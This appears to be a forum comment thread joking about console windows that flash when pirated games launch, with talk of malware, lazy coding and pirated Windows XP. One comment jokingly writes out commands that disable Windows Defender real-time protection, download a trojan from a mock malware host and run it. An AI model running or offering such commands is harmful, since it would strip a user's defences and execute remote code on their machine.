It's just setting up a keylogger so it can help you when you suck at your new pirated game :)
Ah yes, Windows...
Not only for viruses, I saw legitimate software creating those console windows to run.
Good spyware doesnt show those either, they're not a sign of malware but of sloppy coding.
Not always. Having spent significant time of the entire projects to hide console and powershell windows, I think Windows is just crap.
I'm pretty sure some drivers do that
My work PC does it on boot. Opens and then closes like 8 command windows.
Well that probably is malware but installed by your company
Just look into journal and logs what processes were started by a terminal window...
Oh... Right.
or our corporate overlord who knows, windows itself is spyware
Startup scripts most likely. A sign of a bunch of legacy tech in your environment.
Wait... What's the truth.....
Set-MpPreference -DisableRealtimeMonitoring $true
curl https://malwarefo.ru/supertrojan.exe
./supertrojan.exe
./game.exe
exit
0Is there a way to remove it or stop it from happening?
The only winning move is not to play.Yes
Real answer is just that they're executing a process without setting the window style to hidden. It doesn't mean anything other than the dev is lazy / inexperienced.
Probably mining for bitcoin
Free game providers can have a little bitcoin, as a treat

Here's one. I'd like the aforementioned treat, please!

Do you really want to know the truth or do you want to play your new game \o/
I always thought it was running anti-"anti-piracy" measures before launching the game. I suppose it could be malware too, which seems like what the meme is getting at.
Even if I am pretty sure I'm not getting a virus, I'm always nervous when that happens regardless of the program on my desktop.
Dingers!
I once found a fully cracked version of Window XP on Pirate Bay....
π
I fucking did it was tenish year ago. Ran it in a vbox for the fun of it. Oddly it was the best windows experience I ever had. Can't say how much malware was in it though.
And yes I forgot an s so fucking sue me champ
I used pirated versions of XP for a decade. Nothing bad ever came of it. There were a lot of crackers back then that just did it for the challenge, and shared it because they wanted to.
My first copy of Winxp was stolen from windows a week before release, I found out when I saw a picture of someone holding a burnt disc with windows xp on it outside of Microsoft and it had my serial key on it.
Edit: here's the picture.
I don't even have to open the image to know it's FCKGW!
13 year old me loved that my windows key had fuck in it. I used to know that entire key off by heart.
That's awesome. I eventually got my hands on an enterprise CD key that was given out to over 1000 students at a university and used that instead of the keygens for tortented ISOs.
My win10 licences are all from pirated Win7 that was grandfathered in when upgrading lol
Same here actually. Now it's totally free spyware/adware, so those days are gone. I just use Linux now.

hard power down like Barry Allen; rips phone cable out of wall (and rj45 in half); runs to router and rips entire power strip out of wall; safe mode with no idea if this helps; blindly searches for very new or old .bat files; tries to figure out how to search entire registry by recent; sob; play eu1 or whatever it was 30 yrs ago
